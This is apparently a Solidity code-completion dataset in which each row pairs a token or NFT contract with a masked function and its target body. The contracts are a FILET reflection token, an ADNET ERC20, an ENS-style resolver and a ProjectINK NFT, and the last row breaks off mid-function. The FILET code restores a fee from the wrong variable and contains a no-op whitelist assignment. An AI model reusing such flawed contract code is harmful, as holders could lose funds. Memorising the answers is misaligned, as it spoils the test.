contractETHBalance = address(this).balance; sendETHToCharity(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); uint256 burnAmt = amount.mul(_burnFee).div(100); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount.sub(burnAmt)); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount.sub(burnAmt)); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount.sub(burnAmt)); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount.sub(burnAmt)); } else { _transferStandard(sender, recipient, amount.sub(burnAmt)); } //remove fees to burn tokens _taxFee = 0; _charityFee = 0; _transferStandard(sender, address(0), burnAmt); _taxFee = _previousTaxFee; _charityFee = _previousBurnFee; if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {<FILL_FUNCTION_BODY> } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeCharity(uint256 tCharity) private { uint256 currentRate = _getRate(); uint256 rCharity = tCharity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rCharity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tCharity); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getTValues(tAmount, _taxFee, _charityFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCharity); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 charityFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tCharity = tAmount.mul(charityFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tCharity); return (tTransferAmount, tFee, tCharity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function _setCharityFee(uint256 charityFee) external onlyOwner() { _charityFee = charityFee; } function _setCharityWallet(address payable charityWalletAddress) external onlyOwner() { _charityWalletAddress = charityWalletAddress; } function distTokens(address[] memory recipients, uint256[] memory amounts, uint256 time) external onlyOwner{ require(recipients.length == amounts.length, 'Arrays must have same size'); for(uint i = 0; i< recipients.length; i++){ _isWhitelist[recipients[i]] = true; _lockedTime[recipients[i]] = block.timestamp; _lockPreSale[recipients[i]] = time * 1 hours; uint256 amt = amounts[i].mul(10**9); _lockedAmount[recipients[i]] = amt; _tokenTransfer(msg.sender, recipients[i], amt, false); } } function setLockPreSaleTime(address _address, uint256 hour) external onlyOwner{ _lockPreSale[_address] = hour * 1 hours; } function setAntiDumpEnabled(bool value, uint256 time) external onlyOwner{ _isAntiDumpEnabled = value; antiDumpTime = time * 1 minutes; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } }
contract FILET is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _isWhitelist; mapping (address => uint256) private _lockedTime; mapping (address => uint256) private _lockedAmount; mapping (address => uint256) private _antiBot; mapping (address => uint256) private _lockPreSale; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'FILET🥩'; string private _symbol = 'FILET🥩'; uint8 private _decimals = 9; uint256 public _taxFee = 2; uint256 public _charityFee = 5; uint256 public _burnFee = 3; uint256 private _previousTaxFee = _taxFee; uint256 private _previousCharityFee = _charityFee; uint256 private _previousBurnFee = _burnFee; bool public _isAntiDumpEnabled = false; uint256 public antiDumpTime; address payable public _charityWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 private _maxTxAmount = 1000000000000 * 10**9; uint256 private _numOfTokensToExchangeForCharity = 5 * 10**6 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable charityWalletAddress) public { _charityWalletAddress = charityWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _charityFee == 0 && _burnFee == 0) return; _previousTaxFee = _taxFee; _previousCharityFee = _charityFee; _previousBurnFee = _burnFee; _taxFee = 0; _charityFee = 0; _burnFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _charityFee = _previousCharityFee; _burnFee = _previousBurnFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(_isAntiDumpEnabled == true && sender != owner() && recipient != owner()){ if(sender == uniswapV2Pair){ uint256 timePassed = block.timestamp - _antiBot[recipient]; require(timePassed > antiDumpTime,'You must wait between trades'); _antiBot[recipient] = block.timestamp; } else if(recipient == uniswapV2Pair){ uint256 timePassed = block.timestamp - _antiBot[sender]; require(timePassed > antiDumpTime,'You must wait between trades'); _antiBot[sender] = block.timestamp; } else if(sender != uniswapV2Pair && recipient != uniswapV2Pair){ uint256 timePassed1 = block.timestamp - _antiBot[sender]; uint256 timePassed2 = block.timestamp - _antiBot[recipient]; require(timePassed1 > antiDumpTime && timePassed2 > antiDumpTime, 'You Must Wait Some Time Between Transactions'); _antiBot[sender] = block.timestamp; _antiBot[recipient] = block.timestamp; } } //If sender has purchased during presale, must wait lockPreSale to transfer. if(_isWhitelist[sender] == true) { uint256 time_since_purchase = block.timestamp - _lockedTime[sender]; if(time_since_purchase < _lockPreSale[sender]){ require((balanceOf(sender) - amount) >= _lockedAmount[sender], 'You Must Wait Some Time From Original Transaction'); } else { _isWhitelist[sender] == false; } } if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular charity event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForCharity; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the charity wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToCharity(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and charity fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToCharity(uint256 amount) private { _charityWalletAddress.transfer(amount); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToCharity(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); uint256 burnAmt = amount.mul(_burnFee).div(100); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount.sub(burnAmt)); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount.sub(burnAmt)); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount.sub(burnAmt)); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount.sub(burnAmt)); } else { _transferStandard(sender, recipient, amount.sub(burnAmt)); } //remove fees to burn tokens _taxFee = 0; _charityFee = 0; _transferStandard(sender, address(0), burnAmt); _taxFee = _previousTaxFee; _charityFee = _previousBurnFee; if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } <FILL_FUNCTION> function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeCharity(uint256 tCharity) private { uint256 currentRate = _getRate(); uint256 rCharity = tCharity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rCharity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tCharity); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getTValues(tAmount, _taxFee, _charityFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCharity); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 charityFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tCharity = tAmount.mul(charityFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tCharity); return (tTransferAmount, tFee, tCharity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function _setCharityFee(uint256 charityFee) external onlyOwner() { _charityFee = charityFee; } function _setCharityWallet(address payable charityWalletAddress) external onlyOwner() { _charityWalletAddress = charityWalletAddress; } function distTokens(address[] memory recipients, uint256[] memory amounts, uint256 time) external onlyOwner{ require(recipients.length == amounts.length, 'Arrays must have same size'); for(uint i = 0; i< recipients.length; i++){ _isWhitelist[recipients[i]] = true; _lockedTime[recipients[i]] = block.timestamp; _lockPreSale[recipients[i]] = time * 1 hours; uint256 amt = amounts[i].mul(10**9); _lockedAmount[recipients[i]] = amt; _tokenTransfer(msg.sender, recipients[i], amt, false); } } function setLockPreSaleTime(address _address, uint256 hour) external onlyOwner{ _lockPreSale[_address] = hour * 1 hours; } function setAntiDumpEnabled(bool value, uint256 time) external onlyOwner{ _isAntiDumpEnabled = value; antiDumpTime = time * 1 minutes; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } }
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private
21480
AdvertisingNetwork
allowance
contract AdvertisingNetwork is ERC20, owned { using SafeMath for uint256; string public name = "AdvertisingNetwork"; string public symbol = "ADNET"; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; function balanceOf(address _who) public constant returns (uint256) { return balances[_who]; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {<FILL_FUNCTION_BODY> } function AdvertisingNetwork() public { totalSupply = 50000000 * 1 ether; balances[msg.sender] = totalSupply; Transfer(0, msg.sender, totalSupply); } function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0)); require(balances[msg.sender] >= _value); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function withdrawTokens(uint256 _value) public onlyOwner { require(balances[this] >= _value); balances[this] = balances[this].sub(_value); balances[msg.sender] = balances[msg.sender].add(_value); Transfer(this, msg.sender, _value); } }
contract AdvertisingNetwork is ERC20, owned { using SafeMath for uint256; string public name = "AdvertisingNetwork"; string public symbol = "ADNET"; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; function balanceOf(address _who) public constant returns (uint256) { return balances[_who]; } <FILL_FUNCTION> function AdvertisingNetwork() public { totalSupply = 50000000 * 1 ether; balances[msg.sender] = totalSupply; Transfer(0, msg.sender, totalSupply); } function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0)); require(balances[msg.sender] >= _value); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function withdrawTokens(uint256 _value) public onlyOwner { require(balances[this] >= _value); balances[this] = balances[this].sub(_value); balances[msg.sender] = balances[msg.sender].add(_value); Transfer(this, msg.sender, _value); } }
return allowed[_owner][_spender];
function allowance(address _owner, address _spender) public constant returns (uint256 remaining)
function allowance(address _owner, address _spender) public constant returns (uint256 remaining)
77219
ResolverBase
bytesToAddress
contract ResolverBase { bytes4 private constant INTERFACE_META_ID = 0x01ffc9a7; function supportsInterface(bytes4 interfaceID) public pure returns(bool) { return interfaceID == INTERFACE_META_ID; } function isAuthorised(bytes32 node) internal view returns(bool); modifier authorised(bytes32 node) { require(isAuthorised(node)); _; } function bytesToAddress(bytes memory b) internal pure returns(address payable a) {<FILL_FUNCTION_BODY> } function addressToBytes(address a) internal pure returns(bytes memory b) { b = new bytes(20); assembly { mstore(add(b, 32), mul(a, exp(256, 12))) } } }
contract ResolverBase { bytes4 private constant INTERFACE_META_ID = 0x01ffc9a7; function supportsInterface(bytes4 interfaceID) public pure returns(bool) { return interfaceID == INTERFACE_META_ID; } function isAuthorised(bytes32 node) internal view returns(bool); modifier authorised(bytes32 node) { require(isAuthorised(node)); _; } <FILL_FUNCTION> function addressToBytes(address a) internal pure returns(bytes memory b) { b = new bytes(20); assembly { mstore(add(b, 32), mul(a, exp(256, 12))) } } }
require(b.length == 20); assembly { a := div(mload(add(b, 32)), exp(256, 12)) }
function bytesToAddress(bytes memory b) internal pure returns(address payable a)
function bytesToAddress(bytes memory b) internal pure returns(address payable a)
35893
ProjectINK
allInfoFor
contract ProjectINK { uint256 constant public MAX_NAME_LENGTH = 32; uint256 constant public MAX_SUPPLY = 1921; uint256 constant public MINT_COST = 0.05 ether; struct User { uint256 balance; mapping(uint256 => uint256) list; mapping(address => bool) approved; mapping(uint256 => uint256) indexOf; } struct Token { address owner; address approved; bytes32 seed; string name; } struct Info { uint256 totalSupply; mapping(uint256 => Token) list; mapping(address => User) users; Metadata metadata; address owner; } Info private info; mapping(bytes4 => bool) public supportsInterface; event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); event Mint(address indexed owner, uint256 indexed tokenId, bytes32 seed); event Rename(address indexed owner, uint256 indexed tokenId, string name); modifier _onlyOwner() { require(msg.sender == owner()); _; } constructor() { info.metadata = new Metadata(); info.owner = msg.sender; supportsInterface[0x01ffc9a7] = true; // ERC-165 supportsInterface[0x80ac58cd] = true; // ERC-721 supportsInterface[0x5b5e139f] = true; // Metadata supportsInterface[0x780e9d63] = true; // Enumerable for (uint256 i = 0; i < 10; i++) { _mint(); } } function setOwner(address _owner) external _onlyOwner { info.owner = _owner; } function setMetadata(Metadata _metadata) external _onlyOwner { info.metadata = _metadata; } function ownerWithdraw() external _onlyOwner { uint256 _balance = address(this).balance; require(_balance > 0); payable(msg.sender).transfer(_balance); } receive() external payable { mintMany(msg.value / MINT_COST); } function mint() external payable { mintMany(1); } function mintMany(uint256 _tokens) public payable { require(_tokens > 0); uint256 _cost = _tokens * MINT_COST; require(msg.value >= _cost); for (uint256 i = 0; i < _tokens; i++) { _mint(); } if (msg.value > _cost) { payable(msg.sender).transfer(msg.value - _cost); } } function rename(uint256 _tokenId, string calldata _newName) external { require(bytes(_newName).length <= MAX_NAME_LENGTH); require(msg.sender == ownerOf(_tokenId)); info.list[_tokenId].name = _newName; emit Rename(msg.sender, _tokenId, _newName); } function approve(address _approved, uint256 _tokenId) external { require(msg.sender == ownerOf(_tokenId)); info.list[_tokenId].approved = _approved; emit Approval(msg.sender, _approved, _tokenId); } function setApprovalForAll(address _operator, bool _approved) external { info.users[msg.sender].approved[_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } function transferFrom(address _from, address _to, uint256 _tokenId) external { _transfer(_from, _to, _tokenId); } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { safeTransferFrom(_from, _to, _tokenId, ""); } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public { _transfer(_from, _to, _tokenId); uint32 _size; assembly { _size := extcodesize(_to) } if (_size > 0) { require(Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data) == 0x150b7a02); } } function name() external view returns (string memory) { return info.metadata.name(); } function symbol() external view returns (string memory) { return info.metadata.symbol(); } function contractURI() external view returns (string memory) { return info.metadata.contractURI(); } function baseTokenURI() external view returns (string memory) { return info.metadata.baseTokenURI(); } function tokenURI(uint256 _tokenId) external view returns (string memory) { return info.metadata.tokenURI(_tokenId); } function owner() public view returns (address) { return info.owner; } function totalSupply() public view returns (uint256) { return info.totalSupply; } function balanceOf(address _owner) public view returns (uint256) { return info.users[_owner].balance; } function ownerOf(uint256 _tokenId) public view returns (address) { require(_tokenId < totalSupply()); return info.list[_tokenId].owner; } function getApproved(uint256 _tokenId) public view returns (address) { require(_tokenId < totalSupply()); return info.list[_tokenId].approved; } function isApprovedForAll(address _owner, address _operator) public view returns (bool) { return info.users[_owner].approved[_operator]; } function getSeed(uint256 _tokenId) public view returns (bytes32) { require(_tokenId < totalSupply()); return info.list[_tokenId].seed; } function getName(uint256 _tokenId) public view returns (string memory) { require(_tokenId < totalSupply()); return info.list[_tokenId].name; } function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return _index; } function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) { require(_index < balanceOf(_owner)); return info.users[_owner].list[_index]; } function getINK(uint256 _tokenId) public view returns (address tokenOwner, address approved, bytes32 seed, string memory tokenName) { return (ownerOf(_tokenId), getApproved(_tokenId), getSeed(_tokenId), getName(_tokenId)); } function getINKs(uint256[] memory _tokenIds) public view returns (address[] memory owners, address[] memory approveds, bytes32[] memory seeds, bytes32[] memory names) { uint256 _length = _tokenIds.length; owners = new address[](_length); approveds = new address[](_length); seeds = new bytes32[](_length); names = new bytes32[](_length); for (uint256 i = 0; i < _length; i++) { string memory _name; (owners[i], approveds[i], seeds[i], _name) = getINK(_tokenIds[i]); names[i] = _stringToBytes32(_name); } } function getINKsTable(uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, address[] memory owners, address[] memory approveds, bytes32[] memory seeds, bytes32[] memory names, uint256 totalINKs, uint256 totalPages) { require(_limit > 0); totalINKs = totalSupply(); if (totalINKs > 0) { totalPages = (totalINKs / _limit) + (totalINKs % _limit == 0 ? 0 : 1); require(_page < totalPages); uint256 _offset = _limit * _page; if (_page == totalPages - 1 && totalINKs % _limit != 0) { _limit = totalINKs % _limit; } tokenIds = new uint256[](_limit); for (uint256 i = 0; i < _limit; i++) { tokenIds[i] = tokenByIndex(_isAsc ? _offset + i : totalINKs - _offset - i - 1); } } else { totalPages = 0; tokenIds = new uint256[](0); } (owners, approveds, seeds, names) = getINKs(tokenIds); } function 